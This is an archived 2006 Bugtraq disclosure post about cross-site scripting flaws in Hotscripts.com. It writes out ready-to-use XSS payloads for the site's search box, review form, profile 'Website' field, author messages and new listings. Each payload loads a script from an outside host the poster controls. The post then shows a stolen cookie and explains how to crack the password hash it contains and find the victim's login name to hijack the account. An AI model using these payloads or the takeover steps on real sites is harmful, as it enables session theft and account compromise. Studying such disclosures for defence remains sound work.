bugtraq - Hotscripts.com - XSS with cookie disclosure

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060612203147.25880.qmail@securityfocus.com>
Date: 12 Jun 2006 20:31:47 -0000
From: luny@...fucktard.com
To: bugtraq@...urityfocus.com
Subject: Hotscripts.com - XSS with cookie disclosure


Hotscripts.com

Homepage:
http://www.hotscripts.com
  
Effected files:
search input box
adding a review
Editing your profile
sending a author a message.
Creating a new listing
----------------------------------------

XSS vuln with cookie disclosure in search input box:

For a PoC try putting: <"<"<"<"<script src=http://www.youfucktard.com/xss.js><"<"<"<"<"

Screenshot:
http://www.youfucktard.com/xsp/hotscripts1.jpg

-------------------------------

Same vuln as above,this time when writing a review:

http://www.hotscripts.com/account/index.html?section=reviews&type=addnew&listing_id=60536<"<"<"<"<script%20src=http://www.youfucktard.com/xss.js><"<"<"<"<"

Screenshot:
http://www.youfucktard.com/xsp/hotscripts2.jpg

-------------------------------------------

Editing your profile. XSS vuln in the "Website" input box.

For PoC try putting:
 ">">">">'>'><"">"><script src=http://www.youfucktard.com/xss.js><"<"<"<""><"<'

Screenshot:
http://www.youfucktard.com/xsp/hotscripts3.jpg
http://www.youfucktard.com/xsp/hotscripts4.jpg

----------------------
XSS via Sending a author a message:
Just put in the input boxes:
 ">">">">'>'><"">"><script src=http://www.youfucktard.com/xss.js><"<"<"<""><"<'

------------------------------------------------------------
XSS via creating a new listing:
Just put the code below in any input box when submitting a new listing:
 ">">">">'>'><"">"><script src=http://www.youfucktard.com/xss.js><"<"<"<""><"<'

-----------------------------------------------------------

Nowyou're wondering whats inthe cookie you'll see above. Well lets look:

The cookie you see:

This is remote text via xss.js located at youfucktard.com hotscripts=69.122.33.130.75421150139641596; __utma=127114772.1877428379.1150139697.1150139697.1150139862.2;__utmb=127114772;__utmz=127114772.1150139697.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmc=127114772; sp_check=91da4589b012c2fe1ceac1fb2363dbc6; PHPSESSID=19beec1451a94054c5c52070eb962de5 

Lets break it down:

hotscripts=69.122.33.130.75421150139641596  (First four numbers is your IP #. No idea what last string is. )

_utma= (No idea)
_utmb= (No idea)
_utmz= (No idea)
utmccn= (referral)
|utmcsr=(refferal)
utmcmd=(No Idea)
__utmc= (No idea)
sp_check= (this is a md5 hash of our password)
PHPSESSID= (Our php session on the site)

We now have an ip #, as well as a md5 hash of our pw,which can be easily cracked.  All we need now is the authors 

name. To find out the login name of a user, just view one of the listings and at the bottom right hit "Contact Author". 

Write some random msg, then you'll be taken to your inbox. In there is the login name.

Screenshot:
http://www.youfucktard.com/xsp/hotscripts5.jpg